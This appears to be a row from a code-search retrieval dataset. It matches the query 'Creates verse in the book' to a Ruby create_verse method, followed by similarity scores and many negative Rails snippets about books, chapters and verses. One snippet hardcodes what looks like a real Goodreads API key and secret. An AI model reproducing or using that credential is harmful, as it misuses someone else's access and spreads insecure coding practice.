location_name\n LOCATIONS[location.to_s]\n end", "def organism_place_name\n if places.first\n places.first.name\n elsif location\n location\n end\n end", "def named_books\n # I didn't have the creativity needed to find a good ruby only check here\n books.select(&:name)\n end" ]
[ "0.6195914", "0.5830646", "0.5811328", "0.57970804", "0.56452596", "0.56055975", "0.5582518", "0.55486625", "0.54268086", "0.54221135", "0.5399856", "0.5393627", "0.53840697", "0.5372171", "0.5275032", "0.52674854", "0.5250245", "0.5216253", "0.5197439", "0.5182246", "0.51789755", "0.5158576", "0.5156004", "0.5141959", "0.5094121", "0.5088981", "0.5062243", "0.50507104", "0.50496864", "0.50302976", "0.50302976", "0.50205874", "0.49900886", "0.4976147", "0.4971346", "0.49620602", "0.49422404", "0.49420387", "0.49394763", "0.4936834", "0.49113455", "0.49113455", "0.49039125", "0.4902496", "0.49005023", "0.48881274", "0.4882046", "0.4871849", "0.48655933", "0.48598984", "0.48575085", "0.48557866", "0.48536474", "0.4852393", "0.48493752", "0.4841029", "0.48408648", "0.48408353", "0.4840384", "0.48395783", "0.48392767", "0.48392767", "0.48345882", "0.48343307", "0.4827542", "0.48265934", "0.48262078", "0.48217717", "0.48212883", "0.4818245", "0.48106936", "0.4805341", "0.4803673", "0.48016465", "0.47970945", "0.47910243", "0.47910243", "0.47896567", "0.4784799", "0.4781576", "0.47815186", "0.47812566", "0.47812566", "0.47791716", "0.47744104", "0.47735116", "0.4773365", "0.476983", "0.47697228", "0.47677115", "0.47455108", "0.47454286", "0.47415984", "0.47400475", "0.47390735", "0.47390735", "0.47390735", "0.47390735", "0.47354144", "0.47321397" ]
0.7194218
0
Creates verse in the book
def create_verse(book, chapter, verse_number, verse_text) Bible::Verse.create!({ book: book, chapter: chapter, order: verse_number, text_translations: { translation => verse_text } }) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @verse = Verse.new(params[:verse])\n\n respond_to do |format|\n if @verse.save\n format.html { redirect_to @verse, notice: 'Verse was successfully created.' }\n format.json { render json: @verse, status: :created, location: @verse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @verse = Verse.new(params[:verse])\n\n respond_to do |format|\n if @verse.save\n format.html { redirect_to @verse, notice: 'Verse was successfully created.' }\n format.json { render json: @verse, status: :created, location: @verse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if chapter.save\n redirect_to(book_chapter_sentences_path(book, chapter), notice: 'Chapter was successfully created.')\n else\n render action: 'new'\n end\n end", "def process_verse(book, chapter, verse_number)\n mapping = book_mapping(book)\n verse_text = scrape_verse(mapping, chapter, verse_number)\n out create_verse(book, chapter, verse_number, verse_text) if verse_text\n end", "def write_book(title,num_pages)\n # THIS PARTICULAR author\n # self\n # WRITE A NEW book\n book = Book.new(title,self,num_pages)\n #code\n end", "def create_new_chapters!\n new_chapters.each do |c|\n chap = Chapter.new(lecture_id: @lecture.id, title: c.second)\n chap.insert_at(c.first)\n corresponding = @chapters.find { |d| d['counter'] == c.third }\n corresponding['mampf_chapter'] = chap\n end\n @lecture = @lecture.reload\n end", "def create_chapters(params)\n #@new_chapters = []\n #params.each do |key, value|\n @new_chapter = self.chapters.new(title: params[:title], description: params[:description], draft: params[:draft])\n #@new_chapters << chapter \n end", "def create\n @chapter = biblebook.chapters.build(chapter_params)\n save_chapter\n end", "def new_version\n @title = \"Create New Agreement Version\"\n @agreement = Agreement.find(params[:id])\n @version = AgreementVersion.new\n end", "def new\n chapter = biblebook.chapters.build\n locals chapter:\n end", "def booker_new\n end", "def new\n @book = Book.new\n \n end", "def new\n\t\t@book = Book.new\n\tend", "def create\n @chapter = @book.chapters.new(params[:chapter])\n\n respond_to do |format|\n if @chapter.save\n flash[:notice] = 'Chapter was successfully created.'\n format.html { redirect_to(@book) }\n format.xml { render :xml => @chapter, :status => :created, :location => @chapter }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @chapter.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_simple\n book = Republic::Book.new do |b|\n b.title = \"Test book\"\n b.creator = \"Test book\"\n\n b << Republic::HtmlChapter.new do |c|\n c.name = \"Hello\"\n c.text = \"<html><body><p>Your prose here.</p></body></html>\"\n end\n end\n Republic::DirBinder.write(book, TEST_DIR + \"/book1\")\n\n assert File.file?(TEST_DIR + \"/book1/chap0000.xhtml\"), \"First chapter present\"\n end", "def new\n @venture = Venture.new\n end", "def initialize(verse)\n @the_verse = verse\n @planets = {}\n end", "def initialize\n @title, @chapter = title, []\n\n p 'Your book was opened!'\n\n end", "def new\n @book = Book.new\n end", "def new\n @book = Book.new\n end", "def create #:doc:\n end", "def sentence_maker(book, author)\n p \"The book #{book} was written by #{author}\"\nend", "def generate\n\t\t@vs = \"vitalsource\"\n\t\t@question = [\"What is your Student ID number?\",\"What is your favorite color?\",\"In what city were you born?\",\"What is your pet's name?\",\"What is your mother's maiden name?\"]\n\tend", "def create\n @verb = Verb.new(:infinitive => verb_params[:infinitive], :translation => verb_params[:translation], :group => verb_params[:group])\n if @verb.save\n @tenses.each_with_index do |tense, index|\n @forms.each_with_index do |form, index2|\n if(verb_params[tense][form].strip != '')\n @form = Form.new(:content => verb_params[tense][form], :temp => index.to_i, :person => index2.to_i,:verb => @verb)\n @form.save\n end\n end\n end\n end\n\n respond_to do |format|\n if @verb.save\n format.html { redirect_to @verb, notice: 'Verb was successfully created.' }\n format.json { render action: 'show', status: :created, location: @verb }\n else\n format.html { render action: 'new' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_book( bookinfo_hash )\r\n name = bookinfo_hash[:name]\r\n author = bookinfo_hash[:author]\r\n\r\n puts \"#{name}, written by #{author}\"\r\nend", "def create\n @verb = Verb.new(verb_params)\n\n if @verb.save\n render json: @verb, status: :created, location: @verb\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end", "def create\n # params[:book] --> inspect the html file then you can see the name as name=book[title] and name=book[author]\n # Book.create(params[:book]) # create and save it in db\n @book=Book.new(book_params)# create instant or copy \n # it take book_params method to checked\n \n # save it to database\n if @book.save \n redirect_to books_path # go to books path\n else\n render action: \"new\" # back to the action new\n end\n end", "def create\n\n @have = current_user.haves.create!\n @book = Book.create!(:title => params[:title], :version => params[:version])\n @have.book = @book\n @have.save!\n @haves = current_user.haves.all\n respond_to do |format|\n if @have.save\n format.html { redirect_to @have, notice: 'Have was successfully created.' }\n # format.json { render json: @have, status: :created, location: @have }\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @have.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n\r\n\r\n end", "def book_choir\r\n\t@title = \"Book the Choir\"\r\n end", "def create\n \n end", "def new\n @book = Book.new\n end", "def new\n @book = Book.new\n end", "def new\n @book = Book.new\n end", "def new\n @book = Book.new\n end", "def new\n @book = Book.new\n end", "def new\n @book = Book.new\n end", "def new\n @book = Book.new\n end", "def create\n \t\n end", "def create\n respond_to do |format|\n if @chapter.save\n format.html { redirect_to book_path(@chapter.book_id), notice: 'Chapter was successfully created.' }\n format.json { render json: @chapter, status: :created, location: @chapter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @chapter.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\tclient = Goodreads::Client.new(api_key: \"rSkvvZY8Wx27zcj4AfHA\", api_secret: \"S5WOpmY8pVtaEu1IwNn51DBafjoEIbjuxZdE6sNM\")\n\t\tbook = client.book_by_isbn(book_params[:isbn])\n\t\t@book = Book.new(book_params)\n\n#\t\tputs book.title\n#\t\tputs book.description\n#\t\tputs book.work.original_title\n#\t\tputs book.num_pages\n#\t\tputs book.authors.author.name\n#\t\tputs book.publisher\n\n\t\[email protected] = book.title\n\t\[email protected] = strip_tags(book.description)\n\t\tputs @book.description#.gsub(/<br\\s*\\?>/, '')\n\t\[email protected] = book.work.original_title\n\t\[email protected] = book.num_pages\n\t\[email protected] = book.average_rating\n\t\[email protected] = book.authors.author.name\n\t\[email protected] = book.publisher\n\n\t\t#book.search(\"9780545790352\", 5)\n\t\t#puts book.books.first.get_title\n\t\t#@show = Show.new(show_params)\n\t\t#@show.title = result[\"original_name\"]\n\t\t#@show.description = result[\"overview\"]\n\t\t#@show.seasons = result[\"number_of_seasons\"]\n\t\t#@show.episodes = result[\"number_of_episodes\"]\n\t\t#@show.episoderuntime = result[\"episode_run_time\"].dig(0)\n\t\t#@show.showrating = result[\"vote_average\"]\n\t\t#@show.airdate = result[\"first_air_date\"]\n\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: 'Book was successfully created.' }\n format.json { render :show, status: :created, location: @book }\n else\n format.html { render :new }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ver = Ver.new(ver_params)\n\n respond_to do |format|\n if @ver.save\n format.html { redirect_to @ver, notice: 'Ver was successfully created.' }\n format.json { render :show, status: :created, location: @ver }\n else\n format.html { render :new }\n format.json { render json: @ver.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @book = Book.new\n end", "def create_writing(book, options)\n\n # gestion des valeurs par défaut et des options\n d = options[:date] || Date.today\n piece_number= options[:piece_number] || 55\n narration = options[:narration] || 'ligne créée par la méthode create_writing'\n aid = options[:account_id] || @p.accounts.classe_7.first\n if options[:nature_id]\n nature = Nature.find_by_id(options[:nature_id])\n else\n nature = @p.natures.depenses.first\n end\n montant = options[:montant] || 33.33\n p_mode = options[:p_mode] || 'Virement'\n if options[:finance_account_id]\n baca_id = options[:finance_account_id]\n else\n ba = @o.bank_accounts.first\n baca_id = ba.current_account(@p).id\n end\n\n # création de l'écriture\n ecriture = book.in_out_writings.new(\n {date:d,\n piece_number:piece_number,\n narration:narration,\n :compta_lines_attributes=>{\n '0'=>{account_id:aid,\n destination_id:options[:dest_id],\n nature:nature, debit:montant, payment_mode:p_mode},\n '1'=>{account_id:baca_id, credit:montant, payment_mode:p_mode}\n }\n })\n\n # vérification de la validité et enregistrement\n puts ecriture.errors.messages unless ecriture.valid?\n ecriture.save\n ecriture\n end", "def create(name)\n @name = name\n @lives = 3\n end", "def create\n if params[:chapter][:secret]\n chapter = Chapter.create(chapter_params)\n elsif\n params[:saga] == nil\n flash[:notice] = \"You Don't have any Sagas. Create one Now!!!\"\n else\n saga = Saga.find_by(title: params[:saga], user_id: session[:user_id])\n chapter = Chapter.create(chapter_params)\n saga_id = saga.id\n chapter.saga_id = saga_id\n chapter.save\n end\n redirect_to user_path(session[:user_id])\n end", "def essay_template(title, author, date, thesis, character, quality, moment, pronoun)\n\tif pronoun == \"male\"\n\t\tpossessive = \"his\"\n\t\tsubject = \"he\"\n\t\tobject = \"him\"\n\telsif pronoun == \"female\"\n\t\tpossessive = \"her\"\n\t\tsubject = \"she\"\n\t\tobject = \"her\"\n\telse\n\t\tpossessive = \"its\"\n\t\tsubject = \"it\"\n\t\tobject = \"it\"\n\tend\n\tcap_title = title.split.map(&:capitalize).join(' ')\n\tlast_name = character.split.last\n\tputs \"Recently, for class, we read #{cap_title}. #{cap_title} was written by #{author.split.map(&:capitalize).join(' ')} and published on #{date}. #{thesis.capitalize}. The quality of the main character, #{author.split.map(&:capitalize).join(' ')}, that I found most endearing was #{possessive} quality of #{quality}. #{last_name.capitalize} had shown a good example of #{possessive} #{quality} when #{subject} #{moment}. I appreciated #{object} and #{possessive} #{quality}.\"\nend", "def create_guide(title, description)\n result = \"\"\n result << \"<div class='explanation-unit'>\"\n result << \"<h1>#{title}</h1>\"\n result << \"<p>#{description}</p>\"\n result << \"</div>\"\n end", "def create_guide(title, description)\n result = \"\"\n result << \"<div class='explanation-unit'>\"\n result << \"<h1>#{title}</h1>\"\n result << \"<p>#{description}</p>\"\n result << \"</div>\"\n end", "def create_guide(title, description)\n result = \"\"\n result << \"<div class='explanation-unit'>\"\n result << \"<h1>#{title}</h1>\"\n result << \"<p>#{description}</p>\"\n result << \"</div>\"\n end", "def create\n @chapter = Chapter.new(create_chapter_params)\n @specification = @chapter.specification\n\n respond_to do |format|\n if @chapter.save\n format.html { redirect_to specification_path(@specification.id) }\n format.json { render :show, status: :created, location: @chapter }\n else\n format.html { render :new }\n format.json { render json: @chapter.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n @chapter = Chapter.create(chapter_params)\n @chapter.course_id = params[:course_id] \n @course = Course.find(@chapter.course_id)\n if @chapter.save\n flash[:success] = \"You created a new chapter, '#{ @chapter.title }' for course #{ @chapter.course_id }\"\n redirect_to admin_course_path(@chapter.course_id)\n else\n flash[:alert] = \"You could not create a new chapter. Please check the error messages.\"\n render :new\n end\n \n end", "def create\n @chapter = @book.chapters.build(params[:chapter])\n\n respond_to do |format|\n if @chapter.save\n format.html { redirect_to book_series_collection_book_chapters_url(@book_series, @collection, @book), notice: 'Chapter was successfully created.' }\n format.json { render json: @chapter, status: :created, location: @chapter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @chapter.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @person_verse = PersonVerse.new(params[:person_verse])\n\n respond_to do |format|\n if @person_verse.save\n flash[:notice] = 'PersonVerse was successfully created.'\n format.html { redirect_to(@person_verse) }\n format.xml { render :xml => @person_verse, :status => :created, :location => @person_verse }\n else\n format.html { render :action => \"new\", :layout => \"main\" }\n format.xml { render :xml => @person_verse.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @chapter = @book.chapters.new(params[:chapter])\n\n respond_to do |format|\n if @chapter.save\n flash[:notice] = 'Chapter was successfully created.'\n format.html { redirect_to(read_chapter_path(@book, @chapter.position)) }\n format.xml { render :xml => @chapter, :status => :created, :location => @chapter }\n else\n use_tinymce\n format.html { render :action => \"new\" }\n format.xml { render :xml => @chapter.errors, :status => :unprocessable_entity }\n end\n end\n end", "def end_verse\n @mode = nil\n verse(book_num: @book_num, book_id: @book_id, book: @book, chapter: @chapter, verse: @verse, text: @text)\n end", "def add_book\n\tputs \"\\nTo add a new book please enter the following requested information:\\n\"\n\tprint \"Book Title \"\n\ttitle = gets.chomp\n\tprint \"Book Author \"\n\tauthor = gets.chomp\n\tprint \"Book ISBN \"\n\tisbn = gets.chomp\n\tprint \"Book Home Library \"\n\tlibrary_id = gets.chomp.to_i\n\tlibrary_id = verify_library_exists(library_id)\n\tBook.create(title: title, author: author, isbn: isbn, library_id: library_id)\nend", "def enshelf \n a_to_g = ('a'..'g').to_a\n \th_to_p = ('h'..'p').to_a\n\t\tif (a_to_g.include?(self.get_title[0].downcase))\n\t\t @library.get_shelves[0].add_book (self)\n\t\telsif (h_to_p.include?(self.get_title[0].downcase))\n\t\t @library.get_shelves[1].add_book (self)\n\t\telse \n\t\t @library.get_shelves[2].add_book (self)\n\t\tend\n \n\tend", "def create\n \n end", "def edit_verse()\n\n credential_length = Random.new().rand( LENGTH_RANGE )\n credential_stream = %x[ #{GENERATE_CMD} ]\n credential_string = credential_stream.chomp()[ 0 .. ( credential_length - 1 ) ]\n \n @verse.store( \"#{@line}-#{TimeStamp.yyjjj_hhmm_sst()}\", @verse[ @line ] ) if @verse.has_key?( @line )\n @verse.store( @line, credential_string )\n\n end", "def create\n @chapter = @book.chapters.build(params[:chapter])\n @chapter.book_id = params[:book_id]\n respond_to do |format|\n if @chapter.save\n format.html { redirect_to book_chapter_path(@book,@chapter), notice: 'Chapter was successfully created.' }\n format.json { render json: @chapter, status: :created, location: @chapter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @chapter.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end", "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end", "def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end", "def create\n @verbo = Verbo.new(params[:verbo])\n\n respond_to do |format|\n if @verbo.save\n format.html { redirect_to @verbo, notice: 'Verbo was successfully created.' }\n format.json { render json: @verbo, status: :created, location: @verbo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @verbo.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_votd\n netbible_data = JSON.parse(HTTParty.get(URI))\n\n # use bookname from first verse -- assume votd won't span books\n bookname = netbible_data[0][\"bookname\"]\n\n # use chapter from first verse -- assume votd won't span chapters\n chapter = netbible_data[0][\"chapter\"]\n\n # loop through each verse to get the verse numbers and verse text\n verse_numbers = Array.new\n verses = Array.new\n netbible_data.each do |verse|\n verse_numbers << verse[\"verse\"]\n verses << verse[\"text\"]\n end\n\n # now build the reference\n @reference = \"#{bookname} #{chapter}:#{verse_numbers.join(\"-\")}\"\n\n # build the text\n text = Helper::Text.strip_html_tags(verses.join(\" \"))\n text = Helper::Text.clean_verse_start(text)\n text = Helper::Text.clean_verse_end(text)\n\n @text = text\n\n @version = BIBLE_VERSION\n @version_name = BIBLE_VERSION_NAME\n\n @link = generate_link(bookname, chapter, verse_numbers.first)\n\n rescue => e\n # use default info for VotD\n set_defaults\n # @todo Add logging\n end", "def create\n @book_edition = BookEdition.new(params[:book_edition])\n\n respond_to do |format|\n if @book_edition.save\n format.html { redirect_to @book_edition, notice: 'Book edition was successfully created.' }\n format.json { render json: @book_edition, status: :created, location: @book_edition }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book_edition.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @chapter = Chapter.new(chapter_params)\r\n \r\n if @chapter.save \r\n flash[:notice] = 'Chapter was successfully created.'\r\n redirect_to(list_chapters_url) \r\n else\r\n render :action => \"new\" \r\n end \r\n end", "def create_protonym_from_hol reference, name, author, journal, hol_taxon\n\n end", "def create \n epub = params[:file]\n logger.debug(epub.inspect)\n new_book = Book.new()\n new_book.epub = epub\n new_book.user_id = current_user.id\n new_book.import_metadata\n\n if new_book.title.blank? && new_book.epub\n new_book.title = File.basename(new_book.epub.url, '.epub')\n end\n \n new_book.save\n\n respond_to do |format| \n format.html { render :nothing => true }\n format.xml { render :xml => books_url, :status => :created, :location => books_url }\n end\n end", "def new\n @chapter = @book.chapters.build\n # @chapter = Chapter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @chapter }\n end\n end", "def new\n @chapter = @book.chapters.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chapter }\n end\n end", "def crear\n @quienes_somos = QuienesSomo.new\nend", "def create\n @book = params[:book]\n add(@book)\n end", "def create\n @chapter = Chapter.new(chapter_params)\n respond_to do |format|\n if @chapter.save\n format.html { redirect_to @chapter }\n flash[:notice] = \"'#{@chapter.title}' Created\"\n format.json { render :show, status: :created, location: @chapter }\n else\n format.html { render :new }\n format.json { render json: @chapter.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(create_choice)\n if create_choice == \"v\"\n puts \"What is the voter's name?\"\n name = gets.chomp.downcase\n puts \"What is the voter's affiliation?\"\n puts \"\"\n puts \"Democratic, Republican, or Other\"\n affiliation = gets.chomp.downcase\n @voters << Voter.new(name, affiliation).data_hash\n puts \"Saved!\"\n elsif create_choice == \"p\"\n puts \"What is the politician's name?\"\n name = gets.chomp.downcase\n puts \"What is the politician's affiliation?\"\n puts \"\"\n puts \"Democratic, Republican, or Other\"\n affiliation = gets.chomp.downcase\n @politicians << Politician.new(name, affiliation).data_hash\n puts \"Saved!\"\n end\n end", "def create\n @jm_verse = JmVerse.new(params[:jm_verse])\n\n respond_to do |format|\n if @jm_verse.save\n format.html { redirect_to @jm_verse, notice: 'Jm verse was successfully created.' }\n format.json { render json: @jm_verse, status: :created, location: @jm_verse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @jm_verse.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @chapter = @book.chapters.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @chapter }\n end\n end", "def new_paragraph(env); end", "def new\n use_tinymce\n @chapter = @book.chapters.build(:title => \"Chapter #{@book.chapters.size() +1 }\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chapter }\n end\n end", "def new\n @author = Author.new\n end", "def tutorial\n puts\n rules\n deck = Visualized.new\n examples deck.base_deck\n bad_examples deck.base_deck\nend", "def create\n @book = Book.new(params[:book])\n\n for article in @book.articles\n current_aspect.references << article\n end\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: 'Book was successfully created.' }\n format.json { render json: @book, status: :created, location: @book }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @current_book = Book.find_by_id(params[:book_id])\n @chapter = Chapter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :json => @chapter }\n end\n end", "def ver_params\n params.require(:ver).permit(:chapter, :test)\n end", "def addBook(book)\n\t\tinventories.create(book_id: book.id)\n\tend", "def create\n @lecture = Lecture.new(lecture_params)\n #if @lecture.password == \"\"\n @lecture.password = nil\n #end\n \n respond_to do |format|\n if @lecture.save\n top = Topic.new\n top.name = @lecture.name\n top.lecture = @lecture\n top.save\n \n exp = Explanation.new\n exp.author = true\n exp.user = current_user\n exp.topic = top\n exp.save\n \n format.html { redirect_to @lecture }\n format.json { render action: 'show', status: :created, location: @lecture }\n else\n format.html { render action: 'new' }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\n end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def create\n\t\t@book = Book.new(book_params)\n\t\[email protected]\n\t\tredirect_to books_path\n\tend", "def create\n recipe_name = @view.ask_name\n recipe_description = @view.ask_description\n recipe = Recipe.new(recipe_name, recipe_description)\n @cookbook.add_recipe(recipe)\n @view.listing\n end", "def test_more_chapters\n Republic::DirBinder.write(Republic::Book.new { |b|\n b << Republic::HtmlChapter.new { |c| \n c.text = \"<p>This is chapter 1</p>\"\n }\n b << Republic::HtmlChapter.new { |c| \n c.text = \"<p>This is chapter 2</p>\"\n }\n b << Republic::HtmlChapter.new { |c| \n c.text = \"<p>This is chapter 3</p>\"\n }\n }, TEST_DIR + \"/book2\")\n\n assert File.file?(TEST_DIR + \"/book2/chap0000.xhtml\"), \"First chapter present\"\n assert File.file?(TEST_DIR + \"/book2/chap0001.xhtml\"), \"Second chapter present\"\n assert File.file?(TEST_DIR + \"/book2/chap0002.xhtml\"), \"Third chapter present\"\n\n assert_match /.*This is chapter 1.*/, IO.read(TEST_DIR + \"/book2/chap0000.xhtml\")\n assert_match /.*This is chapter 2.*/, IO.read(TEST_DIR + \"/book2/chap0001.xhtml\")\n assert_match /.*This is chapter 3.*/, IO.read(TEST_DIR + \"/book2/chap0002.xhtml\")\n end", "def create_my_books(db)\r\n create_my_books_cmd = <<-SQL\r\n\t CREATE TABLE IF NOT EXISTS my_books(\r\n book_id INTEGER PRIMARY KEY,\r\n book_title VARCHAR(255),\r\n owner_id INTEGER,\r\n author_id INTEGER,\r\n type_id INTEGER,\r\n genre_id INTEGER,\r\n reader_id INTEGER,\r\n donated_id INTEGER,\r\n condition_id INTEGER,\r\n FOREIGN KEY (owner_id) REFERENCES book_owner(owner_id),\r\n FOREIGN KEY (author_id) REFERENCES authors(author_id),\r\n FOREIGN KEY (type_id) REFERENCES type_of_book(type_id),\r\n FOREIGN KEY (genre_id) REFERENCES genre(genre_id),\r\n FOREIGN KEY (reader_id) REFERENCES book_readers(reader_id),\r\n FOREIGN KEY (donated_id) REFERENCES is_book_ready_for_donation(donated_id),\r\n FOREIGN KEY (condition_id) REFERENCES book_condition(condition_id)\r\n )\r\n SQL\r\n #create my_books table\r\n db.execute(create_my_books_cmd)\r\nend", "def create_exercise()\n\n #Gets all the information from the user\n message(\"Please enter a name for this new exercise: \")\n name = gets.chomp\n message(\"Please enter a description for \" + name)\n description = gets.chomp\n message(\"Please enter a duration (in seconds) for \" + name)\n duration = gets.chomp\n\n #Creates the exercise object and places it in last_built temporarily\n @last_built = Exercise.new(name,description,duration)\n\n #Outputs the details of the object\n message(\"Please confirm that this information is correct:\")\n puts \"Name: \" + name\n puts \"Description: \" + description\n puts \"Duration (sec): \" + duration\n\n #Confirmation dialog\n continue = confirm(\"Would you like to add this exercise to the database? (Y/N)\")\n if continue == true\n #Places the built object into the database\n $database.add_new(\"exercise\", @last_built)\n return\n elsif continue == false\n #Discards the built object\n return\n end\n end", "def index\n @user = current_user\n @chapters = Chapter.all\n @newchapter = Chapter.new\n end", "def new\n\t\t\"let's make something new.\"\n\tend", "def add_book(title)\n \nend" ]
[ "0.6482045", "0.6482045", "0.63983214", "0.63827085", "0.60904753", "0.5927363", "0.59233105", "0.5917184", "0.5910559", "0.5905864", "0.58396024", "0.57493496", "0.5744076", "0.57306373", "0.57191336", "0.56805056", "0.56784487", "0.5669214", "0.5654265", "0.5654265", "0.5618366", "0.5601606", "0.55806667", "0.55735004", "0.55477655", "0.55250794", "0.55182743", "0.55157083", "0.5506165", "0.5505671", "0.55043125", "0.55023", "0.55023", "0.55023", "0.55023", "0.55023", "0.55023", "0.55023", "0.550055", "0.5496327", "0.5491893", "0.5489202", "0.5485905", "0.54858804", "0.54800624", "0.5465348", "0.54508173", "0.5447498", "0.5447498", "0.5447498", "0.5438037", "0.5431815", "0.5429262", "0.5427474", "0.5421893", "0.54159725", "0.54080135", "0.5397056", "0.5392577", "0.5392287", "0.53861725", "0.53754073", "0.53754073", "0.53754073", "0.5350739", "0.53442705", "0.5341943", "0.5336496", "0.53349674", "0.5334066", "0.53324145", "0.53291327", "0.53289855", "0.532642", "0.5326362", "0.53192043", "0.53173393", "0.53039706", "0.5296813", "0.5293668", "0.5292891", "0.5288418", "0.5283212", "0.5276596", "0.52760977", "0.5266791", "0.525929", "0.5257147", "0.5257147", "0.5257147", "0.5257147", "0.5257147", "0.52559364", "0.5249172", "0.52472043", "0.5245501", "0.5241425", "0.5234114", "0.52336085", "0.5232826" ]
0.8155077
0
Gets the bible source url
def url CONFIG[:sources][translation][:url] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def source_uri\n URI.parse(url_for(@software))\n end", "def full_url\n self.source.full.url\n end", "def source_url\n settings.source_url\n end", "def url\n config.source_host_url\n end", "def content\n self.source? ? self.source.url : self.default_source_url\n end", "def content\n self.source? ? self.source.url : self.default_source_url\n end", "def source_url(arg = nil)\n set_or_return(\n :source_url,\n arg,\n kind_of: [ String ]\n )\n end", "def original_url\n self.source.url\n end", "def url\n source_url || reporter.photo_urlformat(uniqueid, 's')\n end", "def url(source)\n h.purchase_url purchase.user.handle,purchase.handle,:src => source\n end", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def source_url\n str = \"#{oer_url}?app_id=#{app_id}\"\n str = \"#{str}&base=#{source}\" unless source == OE_SOURCE\n str = \"#{str}&show_alternative=#{show_alternative}\"\n str = \"#{str}&prettyprint=#{prettyprint}\"\n str = \"#{str}&symbols=#{symbols.join(',')}\" if symbols&.is_a?(Array)\n str\n end", "def source_path\n @source_path ||= source || begin\n u = URI.parse(URL)\n opts = { use_ssl: u.scheme == 'https',\n ca_file: Chef::Config[:ssl_ca_file] }\n body = Net::HTTP.start(u.host, u.port, opts) { |h| h.get(u) }.body\n regex = Regexp.new('https://downloads\\.plex\\.tv/' \\\n 'plex-home-theater/.*/' \\\n 'PlexHomeTheater.*-macosx-x86_64.zip')\n body.match(regex).to_s\n end\n end", "def source\n @source ||= begin\n source = ::Sources::Site.new(url)\n source.get\n\n source\n end\n end", "def source\n\t\tif youtube?\n\t\t\treturn \"http://www.youtube.com/v/\" + youtube_id + \"?fs=1\"\n\t\telse\n\t\t\treturn \"\"\n\t\tend\n\tend", "def url\n @url.to_s\n end", "def url\n @url\n end", "def url\n @url\n end", "def get_url\n @url\n end", "def url\n uri.to_s\n end", "def url\n uri\n end", "def url\n uri\n end", "def source\n return BASE_SOURCE_URL + '/' + repo_id unless path_extension\n BASE_SOURCE_URL + '/' + repo_id + '/' + path_extension.sub(%r{^\\s*/}, '').sub(%r{/\\s*$}, '')\n end", "def url\n uri.to_s\n end", "def html_source\n @html_source ||= fetch_uri uri if uri\n @html_source\n end", "def source_url\n return @source_url if @source_url\n if node_name == 'param'\n # Quick XPath search to find the <param> node that contains the video URL.\n return unless movie_node = node.parent.search('param[@name=\"movie\"]')[0]\n url = movie_node['value']\n else\n url = node['src']\n end\n # strip off optional protocol and www\n protocol_regex = %r{^(?:https?:)?//(?:www\\.)?}i\n @source_url = url&.gsub(protocol_regex, '')\n end", "def original_url\n url\n end", "def url\n @url\n end", "def url\n return @url unless @url.nil?\n @url = destination.sub(::Webby.site.output_dir, '')\n end", "def url\n self.recipe_data.url\n end", "def url\n @url ||= args.dig(:url)\n end", "def url\n @url ||= File.join(AUDIO_URL_ROOT, self.path) if self.live?\n end", "def source_url\n handle, slug = @element.embed_id.split('/', 2)\n \"https://www.slideshare.net/#{handle}/#{slug}\"\n end", "def url\n response[\"url\"]\n end", "def source\n ap get_source\n end", "def base_url\n return url\n end", "def banner_url\n object.banner_url.url\n end", "def source\n @source ||= begin\n source = ::Sources::Strategies::Nijie.new(url)\n source.get\n\n source\n end\n end", "def url\n ''\n end", "def url\n end", "def src\n params['src']\n end", "def geturl() \n\t\treturn self.response.geturl()\n end", "def url\n data['url']\n end", 